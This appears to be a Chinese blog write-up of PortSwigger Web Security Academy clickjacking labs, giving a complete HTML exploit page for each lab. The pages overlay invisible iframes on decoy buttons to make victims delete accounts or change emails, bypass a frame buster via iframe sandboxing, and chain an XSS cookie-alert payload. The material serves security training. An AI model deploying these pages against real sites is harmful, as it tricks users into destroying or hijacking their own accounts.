Portswigger web security academy:Clickjacking (UI redressing)

1 - Basic clickjacking with CSRF token protection

  • 题目描述

    • 登陆后可以删除账号,但是该功能点有csrf token保护
  • 要求

    • 让受害者删掉自己的账号
  • 解题过程

    • 因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1280px;
      height: 400px;
      opacity: 0.0000000000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:575px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      ...
      <body>
      <div id="decoy_website">
      click
      </div>
      <iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
      </iframe>
      </body>

2 - Clickjacking with form input data prefilled from a URL parameter

  • 题目描述

    • 没啥描述的
  • 要求

    • 利用预填充来修改用户邮箱
  • 解题过程

    • 访问/my-account?email=asd@asd.asd,发现邮箱被预填充进页面

    • 构造恶意页面,钓鱼(借助上一题的代码)

      <head>
      <style>
      #target_website {
      position: relative;
      width: 400px;
      height: 600px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:525px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
      </iframe>
      </body>

3 - Clickjacking with a frame buster script

  • 题目描述

    • 这个lab被frame buster保护着
  • 要求

    • 修改受害者邮箱
  • 解题过程

    • 材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)

    • 但是 iframe指定sandbox为allow-forms或者allow-scripts,且忽略allow-top-navigation会使iframe中的网页不知道自己是否是最顶层网页

    • 构造exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 400px;
      height: 600px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:505px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
      </iframe>
      </body>

4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS

  • 题目描述

    • 把Dom based XSS和Clickjacking结合起来
  • 要求

    • alert(document.cookie)
  • 解题过程

    • 首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来

    • 构造exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1000px;
      height: 1000px;
      opacity: 0.00000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:805px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
      </iframe>
      </body>

5 - Multistep clickjacking

  • 题目描述

    • 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
  • 要求

    • 让受害者删除自己的账号
  • 解题过程

    • 多了个对话框。。。相比实际场景,不需要动态显示就很简单了

    • 上exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1000px;
      height: 1000px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website_1 {
      position:absolute;
      top:495px;
      left:60px;
      z-index:1;
      }
      #decoy_website_2 {
      position:absolute;
      top:285px;
      left:190px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website_1">
      Click me first
      </div>
      <div id="decoy_website_2">
      Click me next
      </div>
      <iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
      </iframe>
      </body>

Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章

  1. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  2. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  3. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  4. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. CVE-2016-5734-phpmyadmin-4.0.x-4.6.2-代码执行

    参考 https://www.jianshu.com/p/8e44cb1b5b5b 漏洞原因 phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.在其查找并替换字符串功能中,将用户 ...

  2. jdk8的安装与环境搭建

    jdk8的安装与环境搭建 jdk8下载网址:https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html ...

  3. 开发C语言的3款神器,VS2019、VScode和IntelliJ Clion

    一.Visual Studio 2019环境安装配置+代码调试 环境安装配置 首先我们要在Visual Studio官方网站去下载安装包 进入官网后会发现有三种版本可供下载,分别是社区版.专业版和企业 ...

  4. Java 树结构实际应用 四(平衡二叉树/AVL树)

    平衡二叉树(AVL 树) 1 看一个案例(说明二叉排序树可能的问题) 给你一个数列{1,2,3,4,5,6},要求创建一颗二叉排序树(BST), 并分析问题所在.  左边 BST 存在的问题分析: ...

  5. 快速了解C# 8.0中“可空引用类型(Nullable reference type)”语言特性

    Visual C# 8.0中引入了可空引用类型(Nullable reference type),通过编译器提供的强大功能,帮助开发人员尽可能地规避由空引用带来的代码问题.这里我大致介绍一下可空引用类 ...

  6. Bi-shoe and Phi-shoe LightOJ - 1370(数论+素数筛)

    题目链接:https://vjudge.net/problem/LightOJ-1370 题意:给你N个欧拉函数值,找出每一个大于等于该欧拉函数值的数,并且要求相加和最小. 题解:因为素数i的欧拉函数 ...

  7. nodeJS详解2

    Nodejs应用场景 创建应用服务 web开发 接口开发 客户端应用工具  gulp webpack vue脚手架 react脚手架 小程序 NodeJs基于 Commonjs模块化开发的规范,它定义 ...

  8. PAT (Advanced Level) Practice 1011 World Cup Betting (20 分) 凌宸1642

    PAT (Advanced Level) Practice 1011 World Cup Betting (20 分) 凌宸1642 题目描述: With the 2010 FIFA World Cu ...

  9. Netcore webapi action swagger response返回参数使用匿名类型

    问题:action中返回匿名对象时,swagger只能按强类型生成返回值描述 解决办法:使用roslyn在内存中动态执行代码,使用json.net反序列化匿名对象,向swagger返回动态匿名对象 效 ...

  10. jQuery入门看这一篇就够了

    一.选择器 1.基本 名称 用法 描述 #id $("#myDiv"); 根据给定的ID匹配一个元素 element $("div"); 根据给定的元素标签名匹 ...